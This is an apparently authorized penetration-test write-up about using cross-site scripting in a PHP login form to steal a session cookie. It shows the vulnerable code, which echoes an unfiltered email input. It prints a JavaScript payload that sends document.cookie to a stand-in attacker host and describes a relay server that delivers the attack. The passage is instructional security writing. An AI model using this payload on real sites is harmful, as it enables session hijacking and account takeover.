XSS, Cookies, and Session ID Authentication – Three Ingredients for a Successful Hack
Cross site scripting (XSS) attacks are often seen as a powerless hack. While this is true in some cases, for the most part the impact of an XSS vulnerability is left up to the imagination and talent of the attacker. In this article I am going to look at a real-life XSS attack and how it was used to bypass the authentication scheme of an online web application I was asked to test. In this case, the XSS resulted led to "shell" access to the web server — anything but harmless.
The XSS Vulnerability
The target in question had a user/password entry screen, which is fairly standard as far as web applications go. Figure 1 provides a screen shot of this window. However, what you do not see is the code behind the login process. The following provides the actual code used to verify the user account data:
1. if (isset($HTTP_POST_VARS[’email’])){ 2. $email = $HTTP_POST_VARS[’email’]; 3. $password = $HTTP_POST_VARS[’password’]; 4. $go = true; } 5. if ($go == true){ 6. if ($error == false){ 7. if (check_email_address($email)) { 8. $error = false; 9. }else { 10. $error = $email . ’ is not a valid email address.’; 11. } 12. }
Figure 1: User authentication interface
As illustrated, the code put an unfiltered "$email" into an $error message (line 10) after a check_email_address function rejects the input. Unfortunately, the same $error message was then printed out onto the page, thus allowing an attacker to inject pretty much anything they want right into the content of the webpage — including JavaScript code.
echo ’<font color="red" size="3">’ . $error . ’</font>’;
Keeping this "feature" in mind, I next took a look at the program and noticed that it was using the PHP Session ID value and storing it in a cookie on the user’s PC. Knowing that this cookie information can be called forth by a simple JavaScript command (i.e. document.cookie), I prepared a small piece of code that would read the cookie and then forward that information to a waiting server that would store the data for later retrieval. The actual code is as follows:
var cookieData=document.cookie; location.href="http://www.evilsite.com/cookie.php?cookie="+cookieData;
As if fate wanted to make it challenging, the maximum size of the HTML input field for the email address was 25 characters, and it only accepted POST data, which is somewhat limiting. As a result, I had to "outsource" my cross-site scripting attack to a third server. The end result was that I had to make a user click on a link that first took the victim to my server. From there, the code on my server directed the victim to the web application with a POST value that included the XSS code, which was then fed into the login script. Finally, the above JavaScript was output into the login page. Once the JavaScript executed, the cookie data was passed back to the third party server, which captured that cookie value, stored it, and redirected the victim back to the real server where they would again be presented with the real and unaltered login page. Since all this happened in a matter of a second, only an educated and knowledgeable user would notice anything out of the ordinary.
At this point in the attack, I now owned a valid PHP Session ID value that was used in the next stage of the attack.